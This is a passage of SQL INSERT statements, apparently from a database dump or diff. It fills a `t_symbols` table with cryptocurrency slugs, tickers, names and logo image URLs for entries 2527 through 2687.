'onix', 'ONX', 'Onix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onix.png', NULL); +INSERT INTO `t_symbols` VALUES (2527, 'data', 'DTA', 'DATA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/data.png', NULL); +INSERT INTO `t_symbols` VALUES (2528, 'sense', 'SENSE', 'Sense', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sense.png', NULL); +INSERT INTO `t_symbols` VALUES (2529, 'postcoin', 'POST', 'PostCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/postcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2530, 'ixledger', 'IXT', 'iXledger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ixledger.png', NULL); +INSERT INTO `t_symbols` VALUES (2531, 'version', 'V', 'Version', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/VersionCrypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2532, 'bitcapitalvendor', 'BCV', 'BitCapitalVendor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcapitalvendor.png', NULL); +INSERT INTO `t_symbols` VALUES (2533, 'korecoin', 'KORE', 'KoreCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/korecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2534, 'cryptojacks', 'CJ', 'Cryptojacks', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptojacks.png', NULL); +INSERT INTO `t_symbols` VALUES (2535, 'bridge-protocol', 'BRDG', 'Bridge Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bridge-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2536, 'mobilego', 'MGO', 'MobileGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/mobilegotoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2537, 'sdusd', 'SDUSD', 'SDUSD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdusd.png', NULL); +INSERT INTO `t_symbols` VALUES (2538, 'proxynode', 'PRX', 'ProxyNode', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proxynode.png', NULL); +INSERT INTO `t_symbols` VALUES (2539, 'kurrent', 'KURT', 'Kurrent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kurrent.png', NULL); +INSERT INTO `t_symbols` VALUES (2540, 'liquidity-dividends-protocol', 'LID', 'Liquidity Dividends Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquidity-dividends-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (2541, 'bata', 'BTA', 'Bata', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bata.png', NULL); +INSERT INTO `t_symbols` VALUES (2542, 'cfun', 'CFUN', 'CFun', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cfun.png', NULL); +INSERT INTO `t_symbols` VALUES (2543, 'starcash-network', 'STARS', 'StarCash Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starcash-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2544, 'xfinance', 'XFI', 'Xfinance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xfinance.png', NULL); +INSERT INTO `t_symbols` VALUES (2545, 'student-coin', 'STU', 'bitJob', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/student-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2546, 'bitscreener-token', 'BITX', 'BitScreener Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitscreener-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2547, 'scrypta', 'LYRA', 'Scrypta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scrypta.png', NULL); +INSERT INTO `t_symbols` VALUES (2548, 'aeryus', 'AER', 'Aeryus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aeryus.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2549, 'insurepal', 'IPL', 'VouchForMe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/insurepal.png', NULL); +INSERT INTO `t_symbols` VALUES (2550, 'visionx', 'VNX', 'VisionX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/visionx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2551, 'citadel', 'CTL', 'Citadel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/citadel.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2552, 'yam-v2', 'YAMV2', 'YAM v2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yam-v2.png', NULL); +INSERT INTO `t_symbols` VALUES (2553, 'atbcoin', 'ATB', 'ATBCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atbcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2554, 'zealium', 'NZL', 'Zealium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zealium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2555, 'ratecoin', 'XRA', 'Ratecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ratecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2556, 'purevidz', 'VIDZ', 'PureVidz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/purevidz.png', NULL); +INSERT INTO `t_symbols` VALUES (2557, 'crowdcoin', 'CRC', 'CrowdCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crowdcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2558, 'influxcoin', 'INFX', 'Influxcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/influxcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2559, 'origami', 'ORI', 'Origami', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origami.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2560, 'ethereum-dark', 'ETHD', 'Ethereum Dark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-dark.png', NULL); +INSERT INTO `t_symbols` VALUES (2561, 'erc20', 'ERC20', 'ERC20', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/erc20.png', NULL); +INSERT INTO `t_symbols` VALUES (2562, 'chl', 'CHL', 'ChallengeDAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chl.png', NULL); +INSERT INTO `t_symbols` VALUES (2563, 'shadow-token', 'SHDW', 'Shadow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shadow-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2564, 'digital-money-bits', 'DMB', 'Digital Money Bits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digital-money-bits.png', NULL); +INSERT INTO `t_symbols` VALUES (2565, 'bitcoin-adult', 'BTAD', 'Bitcoin Adult', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-adult.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2566, 'pengolincoin', 'PGO', 'PengolinCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pengolincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2567, 'obits', 'OBITS', 'Obits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/OpenLedgerDC.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2568, 'ccbrother', 'CBR', 'CCBrother', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ccbrother.png', NULL); +INSERT INTO `t_symbols` VALUES (2569, 'cranepay', 'CRP', 'Cranepay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cranepay.png', NULL); +INSERT INTO `t_symbols` VALUES (2570, 'egretia', 'EGT', 'Egretia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/egretia.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (2571, 'ledou-chain', 'LDC', 'ledou-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ledou-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2572, 'cryptobonusmiles', 'CBM', 'CryptoBonusMiles', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptobonusmiles.png', NULL); +INSERT INTO `t_symbols` VALUES (2573, 'quebecoin', 'QBC', 'Quebecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quebecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2574, 'coocoin', 'COO', 'coocoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2575, 'arawtoken', 'ARAW', 'ARAW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arawtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2576, 'crystal-token', 'CYL', 'Crystal CYL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crystal-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2577, 'smartshare', 'SSP', 'Smartshare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartshare.png', NULL); +INSERT INTO `t_symbols` VALUES (2578, 'aliencoin', 'ALC', 'AlienChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aliencoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2579, 'gonetwork', 'GOT', 'GoNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gonetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (2580, 'ico-openledger', 'ICOO', 'ICO OpenLedger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ico-openledger.png', NULL); +INSERT INTO `t_symbols` VALUES (2581, 'digitalprice', 'DP', 'DigitalPrice', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digitalprice.png', NULL); +INSERT INTO `t_symbols` VALUES (2582, 'thunderstake', 'TSC', 'Thunderstake', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thunderstake.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2583, 'poet', 'POE', 'Po.et', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/poet.png', NULL); +INSERT INTO `t_symbols` VALUES (2584, 'menapay', 'MPAY', 'Menapay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/menapay.png', NULL); +INSERT INTO `t_symbols` VALUES (2585, 'scriv-network', 'SCRIV', 'SCRIV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scriv-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2586, 'ellaism', 'ELLA', 'Ellaism', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ellaism.png', NULL); +INSERT INTO `t_symbols` VALUES (2587, 'sprinklecoin', 'SCOI', 'SprinkleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sprinklecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2588, 'lukki-operating-token', 'LOT', 'Lukki Operating Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lukki-operating-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2589, 'rivex', 'RVX', 'Rivex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rivex.png', NULL); +INSERT INTO `t_symbols` VALUES (2590, 'hdp', 'HDP', 'hdp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hdp.png', NULL); +INSERT INTO `t_symbols` VALUES (2591, 'bitcoin-21', 'XBTC21', 'Bitcoin 21', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-21.png', NULL); +INSERT INTO `t_symbols` VALUES (2592, 'jury-online-token', 'JOT', 'JOT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jury-online-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2593, 'gourmet-galaxy', 'GUM', 'Gourmet Galaxy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gourmet-galaxy.png', NULL); +INSERT INTO `t_symbols` VALUES (2594, 'medialink', 'MVPT', 'medialink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medialink.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2595, 'elysian', 'ELY', 'Elysian', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elysian.png', NULL); +INSERT INTO `t_symbols` VALUES (2596, 'dynamite', 'DYT', 'DoYourTip', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dynamite.png', NULL); +INSERT INTO `t_symbols` VALUES (2597, 'blakecoin', 'BLC', 'Blakecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blakecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2598, 'mchain', 'MAR', 'Mchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2599, 'safe-trade-coin', 'XSTC', 'Safe Trade Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safe-trade-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2600, 'tcash', 'TCASH', 'TCASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tcash.png', NULL); +INSERT INTO `t_symbols` VALUES (2601, 'digitex-futures', 'DGTX', 'Digitex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digitex-futures.png', NULL); +INSERT INTO `t_symbols` VALUES (2602, 'bettex-coin', 'BTXC', 'Bettex Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bettex-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2603, 'delta', 'DELTA', 'DeltaChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/delta.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2604, 'pop-network-token', 'POP', 'POP Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pop-network-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2605, 'litex', 'LXT', 'LITEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litex.png', NULL); +INSERT INTO `t_symbols` VALUES (2606, 'nkcl', 'NKCL', 'NKCL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nkcl.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2607, 'iungo', 'ING', 'Iungo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/iungonetwork.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2608, 'copico', 'XCPO', 'Copico', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/copico.png', NULL); +INSERT INTO `t_symbols` VALUES (2609, 'banyan-network', 'BBN', 'Banyan Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/banyan-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2610, 'vip-tokens', 'VIP', 'VIP Tokens', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2611, 'signatum', 'SIGT', 'Signatum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/signatum.png', NULL); +INSERT INTO `t_symbols` VALUES (2612, 'shipchain', 'SHIP', 'ShipChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shipchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2613, 'expanse', 'EXP', 'Expanse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/expanse.png', NULL); +INSERT INTO `t_symbols` VALUES (2614, 'promotion-coin', 'PC', 'Promotion Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/promotion-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2615, 'goldblocks', 'GB', 'Good Bridging', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goldblocks.png', NULL); +INSERT INTO `t_symbols` VALUES (2616, 'cryptocarbon', 'CCRB', 'CryptoCarbon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptocarbon.png', NULL); +INSERT INTO `t_symbols` VALUES (2617, 'lottery-tickets', 'TIX', 'Lottery Tickets', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lottery-tickets.png', NULL); +INSERT INTO `t_symbols` VALUES (2618, 'gubi', 'GUBI', 'Gubi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gubi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2619, 'qos', 'QOS', 'QOS Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qos.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2620, 'risk', 'RISK', 'risk', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/risk.png', NULL); +INSERT INTO `t_symbols` VALUES (2621, 'bankcoin', 'B@', 'Bankcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Bankcoin_global.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2622, 'oyster-shell', 'SHL', 'Oyster Shell', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oyster-shell.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2623, 'coinpaws', 'CPS', 'coinpaws', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2624, 'wecf', 'WECF', 'wecf', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2625, 'yenten', 'YTN', 'YENTEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yenten.png', NULL); +INSERT INTO `t_symbols` VALUES (2626, 'gameunits', 'UNITS', 'GameUnits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gameunits.png', NULL); +INSERT INTO `t_symbols` VALUES (2627, 'japan-content-token', 'JCT', 'JCT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/japan-content-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2628, 'mindexcoin', 'MIC', 'Mindexcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mindexcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2629, 'bitstation', 'BSTN', 'BitStation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitstation.png', NULL); +INSERT INTO `t_symbols` VALUES (2630, 'alpha-number', 'ANB', 'alpha-number', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-number.png', NULL); +INSERT INTO `t_symbols` VALUES (2631, 'sociall', 'SCL', 'Sociall', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sociall.png', NULL); +INSERT INTO `t_symbols` VALUES (2632, 'skyft', 'SKYFT', 'SKYFT Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skyft.png', NULL); +INSERT INTO `t_symbols` VALUES (2633, 'love-chin', 'LOVE', 'love-chin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2634, 'yho', 'YHO', 'yho', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2635, 'castle', 'CSTL', 'Castle', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/castle.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2636, 'local-world-forwarders', 'LWF', 'Local World Forwarders', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/local-world-forwarders.png', NULL); +INSERT INTO `t_symbols` VALUES (2637, 'aquariuscoin', 'ARCO', 'AquariusCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aquariuscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2638, 'sportyco', 'SPF', 'SportyCo Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sportyco.png', NULL); +INSERT INTO `t_symbols` VALUES (2639, 'xgalaxy', 'XGCS', 'xGalaxy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xgalaxy.png', NULL); +INSERT INTO `t_symbols` VALUES (2640, 'smq', 'SMQ', 'SIMDAQ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smq.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2641, 'wabnetwork', 'WAB', 'WABnetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wabnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (2642, 'wavesgo', 'WGO', 'WavesGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/gowavesgo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2643, 'billionaire-token', 'XBL', 'Billionaire Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/billionaire-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2644, 'collegicoin', 'CLG', 'Collegicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/collegicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2645, 'nimiq', 'NET', 'Nimiq Exchange Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nimiq.png', NULL); +INSERT INTO `t_symbols` VALUES (2646, 'merebel', 'MERI', 'Merebel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/merebel.png', NULL); +INSERT INTO `t_symbols` VALUES (2647, 'cybr-token', 'CYBR', 'CYBR Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cybr-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2648, 'custom-contract-network', 'CCN', 'CustomContractNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/custom-contract-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2649, 'remicoin', 'RMC', 'Remicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/remicoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2650, 'matrixetf', 'MDF', 'MatrixETF', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/matrixeft.png', NULL); +INSERT INTO `t_symbols` VALUES (2651, 'origin-sport', 'ORS', 'Origin Sport', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origin-sport.png', NULL); +INSERT INTO `t_symbols` VALUES (2652, 'etherinc', 'ETI', 'EtherInc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/etherinc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2653, 'adm', 'ADM', 'ADAMANT Messenger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adm.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2654, 'supercoin', 'SUPER', 'SuperCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/supercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2655, 'showhand', 'HAND', 'ShowHand', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/showhand.png', NULL); +INSERT INTO `t_symbols` VALUES (2656, 'tux', 'TUX', 'Tuxcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tux.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2657, 'repme', 'RPM', 'Repme', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/repme.png', NULL); +INSERT INTO `t_symbols` VALUES (2658, 'vault', 'VAULT', 'VAULT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vault.png', NULL); +INSERT INTO `t_symbols` VALUES (2659, 'hours', 'HOR', 'Hours Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hours.png', NULL); +INSERT INTO `t_symbols` VALUES (2660, 'matryx', 'MTX', 'MATRYX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/matryx.png', NULL); +INSERT INTO `t_symbols` VALUES (2661, 'nasdacoin', 'NSD', 'Nasdacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nasdacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2662, 'eurocoin', 'EUC', 'Eurocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eurocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2663, 'sophiatx', 'SPHTX', 'SophiaTX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sophiatx.png', NULL); +INSERT INTO `t_symbols` VALUES (2664, 'rallyapp', 'RALLY', 'Rally', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rallyapp.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2665, 'dragonglass', 'DGS', 'Dragonglass', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dragonglass.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2666, 'horuspay', 'HORUS', 'HorusPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/horuspay.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2667, 'transcodium', 'TNS', 'Transcodium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/transcodium.png', NULL); +INSERT INTO `t_symbols` VALUES (2668, 'apchain', 'APC', 'apchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2669, 'mmocoin', 'MMO', 'MMOCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mmocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2670, 'trias', 'TRY', 'Trias (old)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/3727d7a1abf045241637724fd5ecbf3c.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2671, 'eltcoin', 'ELTCOIN', 'Eltcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eltcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2672, 'bm', 'BM', 'Bitcomo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bm.png', NULL); +INSERT INTO `t_symbols` VALUES (2673, 'anoncoin', 'ANC', 'Anoncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anoncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2674, 'historicalrc', 'HRC', 'historicalrc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/historicalrc.png', NULL); +INSERT INTO `t_symbols` VALUES (2675, 'chaincoin', 'CHC', 'Chaincoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chaincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2676, 'mojocoin', 'MOJO', 'Mojito Markets', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mojocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2677, 'prasm', 'PSM', 'PRASM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prasm.png', NULL); +INSERT INTO `t_symbols` VALUES (2678, '808coin', '808', '808Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/808coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2679, 'ledger-pay', 'LGA', 'Ledger Pay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ledger-pay.png', NULL); +INSERT INTO `t_symbols` VALUES (2680, 'imvr', 'IMVR', 'ImmVRse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/imvr.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2681, 'prime-xi', 'PXI', 'Prime-XI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prime-xi.png', NULL); +INSERT INTO `t_symbols` VALUES (2682, 'zib', 'ZIB', 'zib', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2683, 'nper', 'NPER', 'NPER', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nper.png', NULL); +INSERT INTO `t_symbols` VALUES (2684, 'intercrone', 'ICR', 'InterCrone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intercrone.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2685, 'authorship', 'ATS', 'Authorship', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/authorship.png', NULL); +INSERT INTO `t_symbols` VALUES (2686, 'gcn-coin', 'GCN', 'GCN Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gcn-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2687, 'kuverit', 'KUV', 'Kuverit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kuverit.png', NULL); +INSERT INTO 